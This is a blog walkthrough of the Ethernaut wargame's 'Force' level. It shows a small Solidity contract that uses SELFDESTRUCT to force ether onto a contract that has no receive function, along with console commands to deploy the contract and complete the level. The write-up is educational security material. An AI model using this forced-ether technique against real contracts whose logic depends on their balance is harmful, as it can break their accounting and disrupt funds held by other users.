DEV Community

Cover image for Ethernaut - Lvl 7: Force
pacelliv
pacelliv

Posted on

Ethernaut - Lvl 7: Force

The Challenge 🤸🤸‍♂️

Increase the balance of the following contract from zero:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
Enter fullscreen mode Exit fullscreen mode

Increasing the balance 📈

Force.sol have neither a fallback nor receive function to accept ether, so if we send a raw transaction it wil revert:

// this will revert
await sendTransacion({from: player, to: contract.address, value: toWei("1")})
Enter fullscreen mode Exit fullscreen mode

To force the contract to receive ether we need to implement the SELFDESTRUCT opcode.

SELFDESTRUCT performs two task:

  1. Irreversibly deletes the bytecode of a contract from the blockchain.
  2. Sends the balance of a contract to an address, if the recipient is a contract with no fallback, SELFDESTRUCT forces the contract to accept the ether.

Go to Remix and create a new file with this contract:

contract ForceBalance {
    address payable public to;

    constructor(address _to) {
        to = payable(_to);
    }

    receive() external payable {
        selfdestruct(to);
    }
}
Enter fullscreen mode Exit fullscreen mode

Request a new instance of Force, grab the address and deploy ForceBalance with the instance level address.

In your console send ether to ForceBalance:

// send a small amount of ether
await sendTransaction({to: FORCE_BALANCE_ADDRESS, from: player, value: "10000"})
Enter fullscreen mode Exit fullscreen mode

Wait for the transaction to be mined and check the balance of Force:

await getBalance(contract.address).then(bal => bal.toString()) // should greater than zero
Enter fullscreen mode Exit fullscreen mode

Submit the instance to complete the level.

Conclusion ☑️

SELFDESTRUCT deletes the bytecode of a contract and forces a recipient to accept ether, even if it is a contract with no mechanism to receive ether.

The SELFDESTRUCT opcode is currently deprecated and its use in not recommended.

Further reading 🤖

Top comments (0)